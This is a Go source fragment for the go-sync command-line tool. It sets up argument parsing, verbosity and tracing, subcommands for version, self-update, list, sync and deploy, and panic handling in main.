var validConfigFiles = []string{
"gosync.yml",
"gosync.yaml",
".gosync.yml",
".gosync.yaml",
}
func handleArgParser() {
var err error
argparser = flags.NewParser(&opts, flags.Default)
argparser.CommandHandler = func(command flags.Commander, args []string) error {
switch {
case len(opts.Verbose) >= 2:
shell.Trace = true
shell.TracePrefix = "[CMD] "
Logger = logger.GetInstance(argparser.Command.Name, log.Ldate|log.Ltime|log.Lshortfile)
fallthrough
case len(opts.Verbose) >= 1:
logger.Verbose = true
shell.VerboseFunc = func(c *shell.Command) {
Logger.Command(c.ToString())
}
fallthrough
default:
if Logger == nil {
Logger = logger.GetInstance(argparser.Command.Name, 0)
}
}
return command.Execute(args)
}
argparser.AddCommand("version", "Show version", fmt.Sprintf("Show %s version", Name), &VersionCommand{Name:Name, Version:Version, Author:Author})
argparser.AddCommand("self-update", "Self update", "Run self update of this application", &SelfUpdateCommand{GithubOrganization:GithubOrganization, GithubRepository:GithubRepository, GithubAssetTemplate:GithubAssetTemplate, CurrentVersion:Version})
argparser.AddCommand("list", "List server configurations", "List server configurations", &ListCommand{})
argparser.AddCommand("sync", "Sync from server", "Sync filesystem and databases from server", &SyncCommand{})
argparser.AddCommand("deploy", "Deploy to server", "Deploy filesystem and databases to server", &DeployCommand{})
args, err = argparser.Parse()
// check if there is an parse error
if err != nil {
if flagsErr, ok := err.(*flags.Error); ok && flagsErr.Type == flags.ErrHelp {
os.Exit(0)
} else {
fmt.Println()
argparser.WriteHelp(os.Stdout)
os.Exit(1)
}
}
}
func main() {
defer func() {
if r := recover(); r != nil {
fmt.Println()
fmt.Println("PANIC CATCHED")
message := fmt.Sprintf("%v", r)
if obj, ok := r.(*shell.Process); ok {
message = obj.Debug()
}
if len(opts.Verbose) >= 2 {
fmt.Println(message)
debug.PrintStack()
} else {
fmt.Println(message)
}
os.Exit(255)
}
}()
shell.SetDefaultShell("bash")
handleArgParser()
os.Exit(0)
}
| Helm83/go-sync |
Subsets and Splits